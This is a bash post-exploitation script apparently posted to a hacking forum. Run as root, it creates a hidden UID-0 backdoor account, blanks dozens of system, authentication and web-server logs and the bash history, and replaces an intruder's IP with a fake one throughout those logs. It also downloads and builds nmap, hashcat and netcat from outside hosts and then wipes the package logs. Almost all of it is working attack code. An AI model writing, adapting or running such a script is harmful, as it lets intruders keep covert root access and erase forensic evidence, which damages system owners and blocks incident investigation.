#!/bin/bash

#Coded By Codeine

#Visit http://infosecforums.com For Updates

#Or If You Have Input

#

#Version: 1.2

#

#Send Any Problems To [email protected] Or Visit Site Above

#

################################################################

clear

echo "#########Overdose Shell Script############"

echo "# _____       _    ______            _   # "

echo "#|  __ \     | |   | ___ \          | |  # "

echo "#| |  \/ ___ | |_  | |_/ /___   ___ | |_ # "

echo "#| | __ / _ \| __| |    // _ \ / _ \| __|# "

echo "#| |_\ \ (_) | |_  | |\ \ (_) | (_) | |_ #"

echo "# \____/\___/ \__| \_| \_\___/ \___/ \__|#"

echo "################By Codeine################"

if [ "$(id -u)" != "0" ]; then

  echo ">You Must Run As Root<" 1>&2

  exit 1

fi

echo "Usage $0 [option]"

echo ""

echo ""

if [ "$1" == "--help"  ] || [ "$1" == "" ]; then

   echo "Usage $0 [option]"

   echo "--help  Displays List Of Options"

   echo "--packages  Install Various Packages(Run For List)"

   echo "--addroot  Add Root User"

   echo "--spooflogs  Spoof Logs With Fake IP"

   echo "--clearlogs  Blanks Out Logs"

   echo "--support  Gather Tats To Help Support The Project"

   exit

elif [ "$1" == "--addroot" ]; then

   echo "[*]Enter Username: "

   read rusername

   useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername

   echo "$rusername Was Created"

   echo "[*]Set Password: "

   passwd $rusername

   exit

elif [ "$1" == "--clearlogs" ]; then

   echo "[*]Clearning Logs..."

   echo "------------------------------------"

#Clears 32 Different Logs

   blanklog() {

       if [ -f ${1} ]; then

           echo ""

           echo "--[*]Cleared ${1}"

           echo "" > ${1}

           if [ -f ${1}.1 ]; then

               echo "--[*]Cleared ${1} Backup"

               echo "" > ${1}.1

           fi

       fi

   }

   blanklog /var/log/lastlog

   blanklog /var/log/syslog

   blanklog /var/log/syslog

   blanklog /var/log/messages

   blanklog /var/log/httpd/access_log

   blanklog /var/log/httpd/access.log

   blanklog /var/log/httpd/error_log

   blanklog /var/log/httpd/error.log

   blanklog /var/log/apache2/access_log

   blanklog /var/log/apache2/access.log

   blanklog /var/log/apache2/error.log

   blanklog /var/log/apache2/error_log

   blanklog /var/log/wtmp

   blanklog /var/log/secure

   blanklog /var/log/xferlog

   blanklog /var/log/auth.log

   blanklog /var/log/lighttpd/lighttpd.error.log

   blanklog /var/log/lighttpd/lighttpd.access.log

   blanklog /var/run/utmp

   blanklog /var/www/logs/access_log

   blanklog /var/www/logs/access.log

   blanklog /var/www/logs/error_log

   blanklog /var/www/logs/error.log

   blanklog /var/log/apache/access_log

   blanklog /var/log/apache/access.log

   blanklog /var/log/apache/error_log

   blanklog /var/log/apache/error.log

   blanklog /var/log/yum.log

   blanklog /etc/httpd/logs/access_log

   blanklog /etc/httpd/logs/access.log

   blanklog /etc/httpd/logs/error_log

   blanklog /etc/httpd/logs/error.log

echo ""

echo "--[*]Clearing Bash History"

echo -n > ~/.bash_history

history -c

echo "------------------------------------"

echo "[*]All Logs Cleared"

exit

elif [ "$1" == "--packages" ]; then

   echo "[*]Listing Packages.."

   echo "------------------------------------"

   echo ""

   echo "0) Install All"

   echo "1) NMAP http://nmap.org/"

   echo "2) Hashcat http://hashcat.net/"

   echo "3) Netcat http://netcat.sourceforge.net/"

   echo "Which Would You Like To Install: "

   read pinstall

   if [ "$pinstall" == "0" ] || [ "$pinstall" == "1" ] || [ "$pinstall"
== "2" ] || [ "$pinstall" == "3" ]; then

       function nmapinstall {

           echo "[*]Checking If Nmap Is Installed:"

           if [ -d /usr/local/share/nmap/ ]; then

               echo "[*]Nmap Is Installed. --Version"

               nmap --version

           else

                   echo "[*]Nmap Is Not Installed"

                   echo "[*]Nmap Installation Will Now Commence"

                   wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2

                   bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf -

                   cd nmap-5.59BETA1

                   ./configure

                   make

                   make install

                   echo "[*]Nmap Installed. Now Cleaning Up"

                   rm -r nmap-5.59BETA1

                   rm nmap-5.59BETA1.tar.bz2

                   if [ -f /var/log/dpkg.log ]; then

                       echo "" > /var/log/dpkg.log

                       if [ -f /var/log/dpkg.log.1 ]; then

                           echo "" > /var/log/dpkg.log.1

                       fi

                   fi

           fi

       }

       function hashcatinstall {

           if [ ! -d /home/sysinstall/ ]; then

               mkdir /home/sysinstall

           fi

           if [ ! -d /home/sysinstall/hashcat/ ]; then

               cd /home/sysinstall

               wget http://infosecforums.com/uploads/hashcat.tar.gz

               tar xvfz hashcat.tar.gz

               rm hashcat.tar.gz

           else

               echo "[*]Hashcat Is Already Installed"

           fi





       }

       function netcatinstall {

           if [ ! -f /usr/local/bin/nc ]; then

               if [ ! -d /home/sysinstall/ ]; then

                   mkdir /home/sysinstall

               fi

                   cd /home/sysinstall

                   wget
http://infosecforums.com/uploads/netcat-0.7.1.tar.gz

                   tar -xzf netcat-0.7.1.tar.gz

                   cd netcat-0.7.1.tar.gz

                   ./configure

                   make

                   make install

                   echo "[*]Netcat Installed. Now Cleaning Up"

                   rm netcat-0.7.1.tar.gz

                   rm netcat-0.7.1

                   if [ -f /var/log/dpkg.log ]; then

                       echo "" > /var/log/dpkg.log

                       if [ -f /var/log/dpkg.log.1 ]; then

                           echo "" > /var/log/dpkg.log.1

                       fi

                   fi

           else

               echo "[*]Netcat Is Already Installed"

           fi



       }

       if [ "$pinstall" == "1" ]; then

           nmapinstall

       elif [ "$pinstall" == "2" ]; then

           hashcatinstall

       elif [ "$pinstall" == "3" ]; then

           netcatinstall

       elif [ "$pinstall" == "0" ]; then

           nmapinstall

           hashcatinstall

           netcatinstall

       fi

   else

       echo "Please Enter A Valid Package Number"

       exit

   fi

elif [ "$1" == "--spooflogs" ]; then

   echo "[*]IP To Replace: "

   read realip

   echo "[*]IP To Replace With: "

   read fakeip

   echo ""

   echo "[*]Spoofing Logs..."

   echo "------------------------------------"

   spooflog() {

       if [ -f ${1} ]; then

           echo ""

           echo "--[*]Spoofed ${1}"

           sed -i "s/$realip/$fakeip/g" ${1}

           if [ -f ${1}.1 ]; then

               echo "--[*]Spoofed ${1} Backup"

               sed -i "s/$realip/$fakeip/g" ${1}.1

           fi

       fi

   }

   spooflog /var/log/lastlog

   spooflog /var/log/syslog

   spooflog /var/log/syslog

   spooflog /var/log/messages

   spooflog /var/log/httpd/access_log

   spooflog /var/log/httpd/access.log

   spooflog /var/log/httpd/error_log

   spooflog /var/log/httpd/error.log

   spooflog /var/log/apache2/access_log

   spooflog /var/log/apache2/access.log

   spooflog /var/log/apache2/error.log

   spooflog /var/log/apache2/error_log

   spooflog /var/log/wtmp

   spooflog /var/log/secure

   spooflog /var/log/xferlog

   spooflog /var/log/auth.log

   spooflog /var/log/lighttpd/lighttpd.error.log

   spooflog /var/log/lighttpd/lighttpd.access.log

   spooflog /var/run/utmp

   spooflog /var/www/logs/access_log

   spooflog /var/www/logs/access.log

   spooflog /var/www/logs/error_log

   spooflog /var/www/logs/error.log

   spooflog /var/log/apache/access_log

   spooflog /var/log/apache/access.log

   spooflog /var/log/apache/error_log

   spooflog /var/log/apache/error.log

   spooflog /var/log/yum.log

   spooflog /etc/httpd/logs/access_log

   spooflog /etc/httpd/logs/access.log

   spooflog /etc/httpd/logs/error_log

   spooflog /etc/httpd/logs/error.log

   echo "------------------------------------"

   echo "[*]Logs Spoofed"

elif [ "$1" == "--support" ]; then

   echo "[*]If you would like to support the production of this script,"

   echo "[*]Email the following stats to [email protected]"

   echo "[*]Server mailer may not send which is why I ask for manual
email"

   echo "-----------Stats I Would Like----------------"

   echo "ls /usr/bin"

   echo "[*]This will display installed applications, warning this will
display alot of files & dirs."

   echo ""

   echo "ls /var/log"

   echo "[*]This is the defualt location for logs."

   echo "-----------------------------------------------"

   echo ""

   echo "[*]I would very much appreciate if you ran those list commands
and sent me the results"

   echo "[*]If you want to see this script develope more its a simple
task to help out."

fi

##End of file: Visit http://infosecforums.com